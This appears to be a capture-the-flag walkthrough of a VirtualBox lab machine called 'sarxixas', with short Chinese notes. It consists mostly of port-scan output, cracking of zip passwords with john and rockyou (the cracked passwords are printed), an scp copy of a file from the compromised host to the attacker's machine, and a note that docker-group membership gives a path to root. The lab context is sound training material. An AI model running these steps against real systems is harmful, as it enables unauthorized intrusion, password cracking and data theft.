┌──(root㉿Eecho)-[/var/www/html] └─# rustscan -a 192.168.100.21 -- -A .----. .-. .-. .----..---. .----. .---. .--. .-. .-. | {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| | | .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ | `-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-' The Modern Day Port Scanner. ________________________________________ : http://discord.skerritt.blog : : https://github.com/RustScan/RustScan : -------------------------------------- Real hackers hack time ⌛
[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.100.21:22 Open 192.168.100.21:80 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.100.21 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-16 13:51 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed Initiating ARP Ping Scan at 13:51 Scanning 192.168.100.21 [1 port] Completed ARP Ping Scan at 13:51, 0.06s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 13:51 Completed Parallel DNS resolution of 1 host. at 13:51, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 13:51 Scanning 192.168.100.21 [2 ports] Discovered open port 80/tcp on 192.168.100.21 Discovered open port 22/tcp on 192.168.100.21 Completed SYN Stealth Scan at 13:51, 0.03s elapsed (2 total ports) Initiating Service scan at 13:51 Scanning 2 services on 192.168.100.21 Completed Service scan at 13:51, 6.07s elapsed (2 services on 1 host) Initiating OS detection (try #1) against 192.168.100.21 NSE: Script scanning 192.168.100.21. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.41s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.01s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed Nmap scan report for 192.168.100.21 Host is up, received arp-response (0.00090s latency). Scanned at 2026-07-16 13:51:38 CST for 8s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) | ssh-hostkey: | 256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGjZjT9uVInycGr+L2uWFk2OHfIU6ziqLqjc31ns1WmQ6Hr6uDnP8LT23hig2aIXwb3uRT1F7Q1q5YSr4zozu64= | 256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINl5E2qTz+BE4drC1MXdiCyaKavO+3ur4RldEaIe41fC 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.57 ((Debian)) |_http-server-header: Apache/2.4.57 (Debian) | http-robots.txt: 2 disallowed entries |_/data/ /docs/ |_http-generator: pluck 4.7.13 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-title: sarxixas - sarxixas |_Requested resource was http://192.168.100.21/?file=sarxixas MAC Address: 08:00:27:44:BA:79 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=7/16%OT=22%CT=%CU=31777%PV=Y%DS=1%DC=D%G=N%M=080027%TM OS:=6A587172%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%II=I% OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5 OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6= OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O% OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0 OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N OS:%T=40%CD=S)
Uptime guess: 48.050 days (since Fri May 29 12:39:54 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=259 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.90 ms 192.168.100.21
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 13:51 Completed NSE at 13:51, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds Raw packets sent: 25 (1.894KB) | Rcvd: 17 (1.366KB)
┌──(root㉿Eecho)-[/tmp/aaaa] └─# zip2john HostiaPilotes.zip > zip_hash.txt ver 1.0 HostiaPilotes.zip/HostiaPilotes/ is not encrypted, or stored with non-handled compression type ver 1.0 efh 5455 efh 7875 HostiaPilotes.zip/HostiaPilotes/contraseña.txt PKZIP Encr: 2b chk, TS_chk, cmplen=31, decmplen=19, crc=DF1DBE40 ts=69C0 cs=69c0 type=0 ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt zip_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status babybaby (HostiaPilotes.zip/HostiaPilotes/contraseña.txt) 1g 0:00:00:00 DONE (2026-07-16 14:02) 33.33g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..trudy Use the "--show" option to display all of the cracked passwords reliably Session completed.
www-data@sarxixas:/opt$ scp edropedropedrooo.zip root@192.168.100.18:/tmp/aaaa The authenticity of host '192.168.100.18 (192.168.100.18)' can't be established. ED25519 key fingerprint is SHA256:ZyUbPteDlhKgfFR102PGhJUWNS++vR62HchhPFY2Cfw. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Could not create directory '/var/www/.ssh' (Permission denied). Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts). root@192.168.100.18's password: edropedropedrooo.zip
成功获取到密码
1 2 3 4 5 6 7 8 9 10 11 12 13
┌──(root㉿Eecho)-[/tmp/aaaa] └─# zip2john edropedropedrooo.zip > ed_hash.txt ver 1.0 efh 5455 efh 7875 edropedropedrooo.zip/pedropedropedrooo.txt PKZIP Encr: 2b chk, TS_chk, cmplen=34, decmplen=22, crc=D30B822E ts=8F24 cs=8f24 type=0 ┌──(root㉿Eecho)-[/tmp/aaaa] └─# john --wordlist=/usr/share/wordlists/rockyou.txt ed_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 24 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status cassandra (edropedropedrooo.zip/pedropedropedrooo.txt) 1g 0:00:00:00 DONE (2026-07-16 14:14) 33.33g/s 1638Kp/s 1638Kc/s 1638KC/s 123456..trudy Use the "--show" option to display all of the cracked passwords reliably Session completed.
www-data@sarxixas:/opt$ su sarxixa Password: sarxixa@sarxixas:/opt$ id uid=1000(sarxixa) gid=1002(sarxixa) grupos=1002(sarxixa),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(docker)
sarxixa -> root
sarxixa用户属于docker组
1 2
sarxixa@sarxixas:/opt$ id uid=1000(sarxixa) gid=1002(sarxixa) grupos=1002(sarxixa),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1001(docker)
